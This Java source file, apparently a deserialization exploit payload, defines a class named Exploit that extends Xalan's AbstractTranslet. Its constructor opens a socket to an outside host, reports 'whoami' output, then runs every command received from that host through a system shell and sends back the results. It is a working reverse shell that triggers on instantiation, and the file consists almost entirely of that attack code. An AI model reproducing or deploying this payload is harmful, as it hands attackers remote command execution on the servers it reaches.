import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;
import java.net.Socket;

public class Exploit extends AbstractTranslet {
    private static String host;
    private static int port;

    public Exploit() {
        try {
            Socket socket = new Socket(host,port);
            OutputStream out=socket.getOutputStream();
            writeMessage(exec("whoami"),out);
            InputStream in = socket.getInputStream();
            while (true){
                String cmd=readMessage(in);
                if(cmd!=null &&!cmd .equals("")){
                    if(cmd.equals("exit")){
                        socket.close();
                    }else {
                        writeMessage(exec(cmd),out);
                    }
                }
            }

        }catch (Exception e){}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    private String readMessage(InputStream inputStream){
        try {
            int first = inputStream.read();
            if (first == -1) {
                return null;
            }
            int second = inputStream.read();
            int length = (first << 8) + second;
            byte[] bytes = new byte[length];
            inputStream.read(bytes);
            return new String(bytes, "UTF-8");
        } catch (Exception e) {

        }
        return null;
    }
    private void writeMessage(String message,OutputStream outputStream){
        try{
            byte[] sendBytes = message.getBytes("UTF-8");
            outputStream.write(sendBytes.length >>8);
            outputStream.write(sendBytes.length);
            outputStream.write(sendBytes);
            outputStream.flush();
        }catch (Exception e){

        }
    }
    private String exec(String cmd){
        try{
            String name = System.getProperty("os.name");
            String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            byte[] buf = new byte[1024];
            int len = 0;
            ByteArrayOutputStream out = new ByteArrayOutputStream();
            while ((len = in.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            String result = new String(out.toByteArray());
            return result;
        }catch (Exception e){

        }
        return null;
    }
}
